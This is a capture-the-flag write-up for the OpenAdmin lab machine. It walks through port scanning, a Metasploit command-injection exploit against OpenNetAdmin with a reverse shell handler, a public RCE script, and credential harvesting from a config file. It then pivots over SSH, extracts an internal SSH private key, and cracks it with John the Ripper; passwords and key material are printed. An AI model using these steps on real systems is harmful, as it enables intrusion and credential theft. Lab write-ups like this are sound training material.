Information Gathering

10.10.10.171:

Nmap

# nmap -A 10.10.10.171 -oA nmap.tcp
Nmap scan report for 10.10.10.171
Host is up (0.34s latency).
Not shown: 993 closed ports
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp    open     http           Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1185/tcp  filtered catchpole
2046/tcp  filtered sdfunc
2701/tcp  filtered sms-rcinfo
2875/tcp  filtered dxmessagebase2
24444/tcp filtered unknown
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (93%), Linux 3.2 - 4.9 (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 3.10 (92%), Android 4.1.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   354.54 ms 10.10.14.1
2   354.49 ms 10.10.10.171

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ 

Port 80: enum more -> OpenNetAdmin

# dirb http://10.10.10.171/ -o dirb.scan
---- Scanning URL: http://10.10.10.171/ ----
==> DIRECTORY: http://10.10.10.171/artwork/                                                                          
	+ http://10.10.10.171/index.html (CODE:200|SIZE:10918)                                                               
==> DIRECTORY: http://10.10.10.171/music/                                                                            
	+ http://10.10.10.171/server-status (CODE:403|SIZE:277)                                                              
                                                                                                                     
---- Entering directory: http://10.10.10.171/artwork/ ----
==> DIRECTORY: http://10.10.10.171/artwork/css/                                                                      
==> DIRECTORY: http://10.10.10.171/artwork/fonts/  

After looking around, nothing of value. Directory scanning revealed another /music directory:

At [http://10.10.10.171/ona/](http://10.10.10.171/ona/) I found a nice thing: OpenNetAdmin 18.1.1

After some searching, msf turned up an rce module, but for some reason it failed:

msf5 > use unix/webapp/opennetadmin_ping_cmd_injection
...
msf5 exploit(unix/webapp/opennetadmin_ping_cmd_injection) > run

[*] Started reverse TCP handler on 10.10.14.14:4444 
[*] Exploiting...
[*] Command Stager progress - 100.00% done (703/703 bytes)
[*] Exploit completed, but no session was created.

I then found another exploit script at https://github.com/amriunix/ona-rce, which ran successfully with www-data privileges, but without permission to read the flag:

sh$ ls /home/
jimmy
joanna
sh$ ls /home/jimmy
ls: cannot open directory '/home/jimmy': Permission denied
sh$ ls /home/joanna
ls: cannot open directory '/home/joanna': Permission denied

Privilege Escalation

Found two users: jimmy and joanna

Linux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 18.04.3 LTS \n \l

Collected some passwords:

# /var/www/html/ona/local/config/database_settings.inc.php
<?php
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),

/var/www/html/sierra/contact_process.php
    $to = "rockybd1995@gmail.com";
    ...
       $send = mail($to, $subject, $body, $headers);

Using the database password, I logged into jimmy’s account via ssh.

User jimmy

Reading files, I found the files under /var/www/internal. This directory was unreadable with www-data privileges:

jimmy@openadmin:/var/www/internal$ ls
index.php  logout.php  main.php

jimmy@openadmin:/var/www/internal$ cat main.php 
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>...

jimmy@openadmin:/var/www/internal$ cat index.php
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && 
		hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')

sha512 decrypted: Revealed

So how do we abuse the shell exec in main.php? main.php requires us to be logged in. I originally planned to modify the session file to forge a logged-in state, but it turned out I had no permission… so I had to find another way:

jimmy@openadmin:/etc/php/7.2/cli$ cat php.ini |grep session.save_path
;session.save_path = "/var/lib/php/sessions"

I noticed port 52846; I couldn’t see the process details, so presumably a high-privilege program was running:

jimmy@openadmin:/var/www/internal$ lsof -i:52846
jimmy@openadmin:/var/www/internal$  netstat -tunlp 
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                 
jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/St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rjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Got joanna’s private key, ready to crack it with johntheripper:

python /usr/share/john/ssh2john.py id_rsa > sshjohn
john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn 

However, I first ran into a problem: rockyou.txt hadn’t been decompressed properly. Fixed it with the following method:

On Kali, decompress the rockyou.txt.gz file with the following command:

sudo gunzip /usr/share/wordlists.gz
wc -l /usr/share/wordlists/rockyou.txt

``

ref:https://blog.csdn.net/sdihvai/article/details/103953010#jimmy_27